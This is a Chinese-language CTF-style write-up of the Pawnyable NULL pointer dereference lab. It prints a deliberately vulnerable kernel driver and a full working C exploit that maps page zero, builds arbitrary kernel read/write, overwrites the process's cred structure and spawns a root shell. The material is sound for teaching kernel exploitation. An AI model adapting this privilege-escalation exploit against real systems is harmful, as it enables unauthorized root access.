0018-TIPS-pawnyable : NULL-Pointer-Dereference

news2024/9/24 19:21:51

原文
NULL Pointer Dereference
题目下载

环境宽松限制

启动选项中可以看到,SMAP在被攻击的机器上被禁用。除非禁用 SMAP,否则无法利用本章中讨论的 NULL 指针取消引用。
还可以尝试启动该内核并输入以下命令:

$ cat /proc/sys/vm/mmap_min_addr
0

mmap_min_addr是一个 Linux 内核变量,顾名思义,它限制可以从用户态mmap映射的最低地址。
请注意,默认情况下它是一个非零值,但在我们的攻击目标中设置为 0。
该变量是从 Linux 内核版本 2.6.23 引入的,作为 NULL 指针取消引用的缓解措施,我们将在此处处理该问题。

本章的内容是基于可以避免SMAP和mmap缓解的前提下的攻击。

代码分析

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Angus - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "angus"
#define CMD_INIT    0x13370001
#define CMD_SETKEY  0x13370002
#define CMD_SETDATA 0x13370003
#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005
#define CMD_DECRYPT 0x13370006

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

long xor(XorCipher *ctx) {
  size_t i;

  if (!ctx->data || !ctx->key) return -EINVAL;
  for (i = 0; i < ctx->datalen; i++)
    ctx->data[i] ^= ctx->key[i % ctx->keylen];
  return 0;
}

static int module_open(struct inode *inode, struct file *filp) {
  filp->private_data = NULL;
  return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
  XorCipher *ctx;

  if ((ctx = (XorCipher*)filp->private_data)) {
    if (ctx->data) kfree(ctx->data);
    if (ctx->key) kfree(ctx->key);
    kfree(filp->private_data);
  }

  return 0;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  request_t req;
  XorCipher *ctx;

  if (copy_from_user(&req, (void*)arg, sizeof(request_t)))
    return -EINVAL;

  ctx = (XorCipher*)filp->private_data;

  switch (cmd) {
    case CMD_INIT:
      if (!ctx)
        filp->private_data = (void*)kzalloc(sizeof(XorCipher), GFP_KERNEL);
      if (!filp->private_data) return -ENOMEM;
      break;

    case CMD_SETKEY:
      if (!ctx) return -EINVAL;
      if (!req.ptr || req.len > 0x1000) return -EINVAL;
      if (ctx->key) kfree(ctx->key);
      if (!(ctx->key = (char*)kmalloc(req.len, GFP_KERNEL))) return -ENOMEM;

      if (copy_from_user(ctx->key, req.ptr, req.len)) {
        kfree(ctx->key);
        ctx->key = NULL;
        return -EINVAL;
      }

      ctx->keylen = req.len;
      break;

    case CMD_SETDATA:
      if (!ctx) return -EINVAL;
      if (!req.ptr || req.len > 0x1000) return -EINVAL;
      if (ctx->data) kfree(ctx->data);
      if (!(ctx->data = (char*)kmalloc(req.len, GFP_KERNEL))) return -ENOMEM;
      
      if (copy_from_user(ctx->data, req.ptr, req.len)) {
        kfree(ctx->key);
        ctx->key = NULL;
        return -EINVAL;
      }

      ctx->datalen = req.len;
      break;

    case CMD_GETDATA:
      if (!ctx->data) return -EINVAL;
      if (!req.ptr || req.len > ctx->datalen) return -EINVAL;
      if (copy_to_user(req.ptr, ctx->data, req.len)) return -EINVAL;
      break;

    case CMD_ENCRYPT:
    case CMD_DECRYPT:
      return xor(ctx);

    default: return -EINVAL;
  }

  return 0;
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .open    = module_open,
  .release = module_close,
  .unlocked_ioctl = module_ioctl
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

module_open

在这里插入图片描述

CMD_INIT

在这里插入图片描述

CMD_SETKEY

在这里插入图片描述

CMD_SETDATA

在这里插入图片描述

CMD_ENCRYPT && CMD_ENCRYPT

在这里插入图片描述

CMD_GETDATA

在这里插入图片描述

漏洞分析

代码在CMD_SETKEYCMD_SETDATA,会检查filp->private_data是否指向null,这没问题

ctx = (XorCipher*)filp->private_data;

case CMD_SETDATA:
  if (!ctx) return -EINVAL;

case CMD_SETKEY:
  if (!ctx) return -EINVAL;

但是在CMD_GETDATACMD_SETDATACMD_ENCRYPTCMD_DECRYPT处没有检查filp->private_data是否指向null
(重要前提,没有开启smap保护、关闭了mmap_min_addr限制)
会产生如下的问题

在这里插入图片描述
在这里插入图片描述

exp

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

#define CMD_INIT    0x13370001
#define CMD_SETKEY  0x13370002
#define CMD_SETDATA 0x13370003
#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005
#define CMD_DECRYPT 0x13370006

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int fd;

int angus_init(void) {
  request_t req = { NULL };
  return ioctl(fd, CMD_INIT, &req);
}
int angus_setkey(char *key, size_t keylen) {
  request_t req = { .ptr = key, .len = keylen };
  return ioctl(fd, CMD_SETKEY, &req);
}
int angus_setdata(char *data, size_t datalen) {
  request_t req = { .ptr = data, .len = datalen };
  return ioctl(fd, CMD_SETDATA, &req);
}
int angus_getdata(char *data, size_t datalen) {
  request_t req = { .ptr = data, .len = datalen };
  return ioctl(fd, CMD_GETDATA, &req);
}
int angus_encrypt() {
  request_t req = { NULL };
  return ioctl(fd, CMD_ENCRYPT, &req);
}
int angus_decrypt() {
  request_t req = { NULL };
  return ioctl(fd, CMD_ENCRYPT, &req);
}

XorCipher *nullptr = NULL;

int AAR(char *dst, char *src, size_t len) {
  nullptr->data = src;
  nullptr->datalen = len;
  return angus_getdata(dst, len);
}

void AAW(char *dst, char *src, size_t len) {
  char *tmp = (char*)malloc(len);
  if (tmp == NULL) fatal("malloc");
  AAR(tmp, dst, len);

  for (size_t i = 0; i < len; i++)
    tmp[i] ^= src[i];

  nullptr->data = dst;
  nullptr->datalen = len;
  nullptr->key = tmp;
  nullptr->keylen = len;
  angus_encrypt();

  free(tmp);
}

int main() {
  fd = open("/dev/angus", O_RDWR);
  if (fd == -1) fatal("/dev/angus");

  if (mmap(0, 0x1000, PROT_READ|PROT_WRITE,
           MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE,
           -1, 0) != NULL)
    fatal("mmap");


  prctl(PR_SET_NAME, "nekomaru");
  unsigned long addr;
  size_t stride = 0x1000000;
  char *needle, *buf = malloc(stride);
  if (!buf) fatal("malloc(stride)");
  for (addr = 0xffff888000000000; addr < 0xffffc88000000000; addr += stride) {
    if (addr % 0x10000000000 == 0) printf("[*] Searching 0x%016lx...\n", addr);

    if (AAR(buf, (char*)addr, stride) != 0) continue;

    if (needle = memmem(buf, stride, "nekomaru", 8)) {
      addr += (needle - buf);
      printf("[+] Found comm: 0x%016lx\n", addr);
      break;
    }
  }
  if (addr == 0xffffc88000000000) {
    puts("[-] Not found");
    exit(1);
  }

  unsigned long addr_cred;
  AAR((char*)&addr_cred, (char*)(addr - 8), 8);
  printf("[+] cred: 0x%016lx\n", addr_cred);


  char zero[0x20] = { 0 };
  AAW((char*)(addr_cred + 4), zero, sizeof(zero));

  puts("[+] Win!");
  system("/bin/sh");
  return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/672554.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能python:Python文件打包:了解基本概念和步骤

Python文件打包&#xff1a; 了解基本概念和步骤 Python开发现在已经越来越成为了一种主流开发方式&#xff0c;然而&#xff0c;当我们的代码在多个环境中运行时&#xff0c;我们可能会遇到各种问题。Python文件打包就起到了非常重要的作用&#xff0c;它可以把我们的代码和环…

java ArrayList()常用详解

文章目录 java ArrayList()常用详解构造方法构造一个具有指定初始容量的空列表构造具有指定初始容量的空列表 常用方法指定的元素追加到此列表的末尾泛型 用来约束集合中存储数据的数据类型在次列表中的指定位置插入指定的元素返回此列表中指定位置的元素删除该列表中指定位置的…

spring 解决循环依赖

spring 解决循环依赖 1、什么是循环依赖&#xff1f; 循环依赖其实就是循环引用&#xff0c;也就是两个或则两个以上的bean互相持有对方&#xff0c;最终形成闭环。比如A依赖于B&#xff0c;B依赖于C&#xff0c;C又依赖于A。如下图&#xff1a; spring的单例对象的初始化主要…

DAC0832

芯片简介&#xff1a; DAC0832是采样频率为八位的D/A转换芯片&#xff0c;集成电路内有两级输入寄存器&#xff0c;使DAC0832芯片具备双缓冲、单缓冲和直通三种输入方式。D/A转换结果采用电流形式输出。若需要相应的模拟电压信号&#xff0c;可通过一个高输入阻抗的线性运算放…

Redmi Book Pro 15 2022 笔记本电脑更换硬盘总结

我的电脑型号是Redmi Book Pro 15 2022 锐龙版&#xff0c;早在6月15日磁盘空间就告急了&#xff0c;正好遇上618就打算更换硬盘&#xff0c;直到今天更换成功&#xff0c;特此来记录一下 目录 一、更换硬盘前准备工作二、更换硬盘三、硬盘迁移以及分区四、总结 本文的更换过程…

实验记录之——mac用visual studio code配置opencv

安装opencv 用Homebrew安装opencv brew install wget brew install cmake brew install opencv看来都安装过了hhh 通过下面命令再次检测安装的opencv版本 brew info opencv全部都打绿色的勾&#xff0c;应该就是都安装完了。 Vscode配置c/c环境 配置cpp项目可以看下面链接…

第一天,PyTorch张量的运算

文章目录 一、说明二、张量的常用运算1. 索引和切片&#xff08;与numpy类似&#xff09;2. 通过torch.cat来进行连接张量3. 矩阵运算和算数运算1. 在PyTorch中mul与matmul和的区别2. 矩阵运算和算数运算的示例 4. 聚合张量中的所有值5. 给所有元组增加1&#xff0c;使用add_&a…

Chrome 开发者调试常用工具

Chrome调试工具介绍 ①②③④⑤⑥⑦⑧⑨⑩ 一、Elements-元素 选项说明 styles filter搜索框&#xff1a;查找过滤样式&#xff0c; 包括class名当前选中的元素 查看其伪类效果已经样式给当前选中元素添加class名可以把当前元素class名或者id&#xff0c; 按照css层级添加一…

C语言:获得月份天数(多组输入)

题目&#xff1a; 描述 KiKi想获得某年某月有多少天&#xff0c;请帮他编程实现。输入年份和月份&#xff0c;计算这一年这个月有多少天。 输入描述&#xff1a; 多组输入&#xff0c;一行有两个整数&#xff0c;分别表示年份和月份&#xff0c;用空格分隔。 输出描述&#xff…

chatgpt赋能python:Python整除判断——一个不可缺少的技能

Python整除判断——一个不可缺少的技能 Python是一门广泛应用于科学计算、人工智能等多个领域的编程语言。在Python中&#xff0c;整除判断是一个非常基础但却不可或缺的技能。本篇文章将从基础开始介绍如何判断是否整除&#xff0c;以及如何在实际应用中使用整除判断。 整除…

PB9与Navicat Premium 16同时连接Oracle11g的连接问题

PB9与Navicat Premium 16同时连接Oracle11g的连接问题。 电脑安装的是win64_11gR2_database就是64的。 Navicat Premium 16其实是等oracle安装好后直接就能连了毫无问题。 pb9呢。因为需要32驱动的oci.dll&#xff0c;所以需要下载instantclient-basic-win32-11.1.0.7.0解压…

第七章 MobileNetv2网络详解

系列文章目录 第一章 AlexNet网络详解 第二章 VGG网络详解 第三章 GoogLeNet网络详解 第四章 ResNet网络详解 第五章 ResNeXt网络详解 第六章 MobileNetv1网络详解 第七章 MobileNetv2网络详解 第八章 MobileNetv3网络详解 第九章 ShuffleNetv1网络详解 第十章…

【C++篇】动态分配内存

友情链接&#xff1a;C/C系列系统学习目录 知识点内容正确性以C Primer&#xff08;中文版第五版&#xff09;、C Primer Plus&#xff08;中文版第六版&#xff09;为标准&#xff0c;同时参考其它各类书籍、优质文章等&#xff0c;总结归纳出个人认为较有逻辑的整体框架&…

EBU5476 Microprocessor System Design 知识点总结_6 Timer

Timer 想让程序定时运行&#xff0c;比如led 1s闪烁一次。如何做到&#xff1f; 第一种方法是愚蠢的delay延时&#xff0c;我自己估算一下&#xff1a;嗯&#xff0c;delay(2000)差不多1s。然后在程序中delay&#xff0c;点亮&#xff0c;delay&#xff0c;熄灭…… 太浪费资…

【C++篇】友元、运算符重载与多态

友情链接&#xff1a;C/C系列系统学习目录 知识总结顺序参考C Primer Plus&#xff08;第六版&#xff09;和谭浩强老师的C程序设计&#xff08;第五版&#xff09;等&#xff0c;内容以书中为标准&#xff0c;同时参考其它各类书籍以及优质文章&#xff0c;以至减少知识点上的…

【滤波】粒子滤波

%matplotlib inline#format the book import book_format book_format.set_style()动机 现在的问题是&#xff1a;我们要跟踪移动中的物体&#xff0c;也许这些物体是战斗机和导弹&#xff0c;或者是在场地里打球的人。但这都没有太大差别。那么&#xff0c;我们所学的滤波器中…

数据发布到WordPress网站,变为已计划、定时或Scheduled

采集数据发布到WordPress网站&#xff0c;但数据没有在前端页面显示&#xff0c;在wordpress后台查看变为已计划、定时或Scheduled。 这个是由于发布的时间变成未来时间导致的&#xff0c;先核实下设置的发布时间是否正确。 如果正确&#xff0c;那就是时区的问题导致时间变成…

Vue--》Vue3打造可扩展的项目管理系统后台的完整指南(六)

今天开始使用 vue3 ts 搭建一个项目管理的后台&#xff0c;因为文章会将项目的每一个地方代码的书写都会讲解到&#xff0c;所以本项目会分成好几篇文章进行讲解&#xff0c;我会在最后一篇文章中会将项目代码开源到我的GithHub上&#xff0c;大家可以自行去进行下载运行&…

翻过那座山——Gitlab流水线任务疑难之编译有子模块的项目指南

&#x1f4e2;欢迎点赞 &#xff1a;&#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff0c;赐人玫瑰&#xff0c;手留余香&#xff01;&#x1f4e2;本文作者&#xff1a;由webmote 原创&#x1f4e2;作者格言&#xff1a;新的征程&#xff0c;我们面对的不是…

【C/C++】详解 类和对象的概念、基本用法

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; &#x1f525;c系列专栏&#xff1a;C/C零基础到精通 &#x1f525; 给大…